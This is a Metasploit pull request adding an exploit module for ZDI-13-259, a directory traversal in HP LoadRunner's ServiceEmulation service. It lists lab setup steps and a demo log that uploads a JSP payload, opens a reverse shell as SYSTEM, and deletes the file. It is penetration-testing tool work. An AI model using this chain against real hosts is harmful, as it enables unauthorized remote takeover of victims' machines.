rapid7/metasploit-framework — pull request #2748 by jvazquez-r7 (2013-12-10 14:50:59+00:00)
Title: Add module for ZDI-13-259

Tested on Windows 2003 SP2 and HP LoadRunner 11.52.

* Verification

- [ ] Install Windows 2003 SP2
- [ ] Install HP LoadRunner 11.52
- [ ] Install a MS SQL Database (I've used MS SQL 2005 Standard)
- [ ] Configure the Database for the HP ServiceEmulation service
- [ ] Be sure to start the vulnerable HP ServiceEmulation (Available on Windows Services)
- [ ] Run the module like in the DEMO, if installation path isn't the default, probably the DEPTH and INSTALLPATH params should be adjusted (there is bruteforce for the DEPTH thing). Hopefully enjoy sessions.

* DEMO

* Check

```
msf exploit(hp_loadrunner_copyfiletoserver) > check

[*] 192.168.172.136:8080 - Detecting tomcat version...
[*] 192.168.172.136:8080 - Tomcat 5.5.17 detected... Verifying traversal...
[+] 192.168.172.136:8080 - Traversal exists and parameters are correct...
[+] The target is vulnerable.
```

* Exploit

```
msf > use exploit/windows/http/hp_loadrunner_copyfiletoserver
msf exploit(hp_loadrunner_copyfiletoserver) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(hp_loadrunner_copyfiletoserver) > set rport 8080
rport => 8080
msf exploit(hp_loadrunner_copyfiletoserver) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:8080 - Retrieving the Tomcat version used...
[+] 192.168.172.136:8080 - Tomcat 5.5.17 found
[*] 192.168.172.136:8080 - Verifying parameters to exploit the directory traversal...
[+] 192.168.172.136:8080 - Traversal parameters are correct
[*] 192.168.172.136:8080 - Uploading the JSP payload...
[*] 192.168.172.136:8080 - JSP payload uploaded successfully
[*] 192.168.172.136:8080 - Executing payload on /ServiceEmulation/services/EmulationAdmin/2gLHS7SCZM6Qq.jsp...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.136:1270) at 2013-12-10 08:45:56 -0600

[+] Deleted ..\..\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation\2gLHS7SCZM6Qq.jsp

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>echo 3350949277;echo rkFLNNXvnSMcrRPiJATldYBsEgSAjnet
3350949277;echo rkFLNNXvnSMcrRPiJATldYBsEgSAjnet

C:\WINDOWS\system32>rm -f "..\..\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation\2gLHS7SCZM6Qq.jsp" >/dev/null ; echo ' & attrib.exe -r "..\..\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation\2gLHS7SCZM6Qq.jsp" & del.exe /f /q "..\..\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation\2gLHS7SCZM6Qq.jsp" & echo " ' >/dev/null;echo gouYZGLXxTIqafRaDiFZazfjcXxvTjAw
" ' >/dev/null;echo gouYZGLXxTIqafRaDiFZazfjcXxvTjAw

C:\WINDOWS\system32>
C:\WINDOWS\system32>
C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>cd "..\..\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation\"
cd "..\..\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation\"

C:\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation>dir 2gLHS7SCZM6Qq.jsp
dir 2gLHS7SCZM6Qq.jsp
Volume in drive C has no label.
Volume Serial Number is ACC9-F54C

Directory of C:\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation

C:\Program Files\HP\LoadRunner\apache-tomcat-5.5.17\webapps\ServiceEmulation>exit
exit

[*] 192.168.172.136 - Command shell session 1 closed. Reason: Died from EOFError
^C
Abort session 1? [y/N] y
```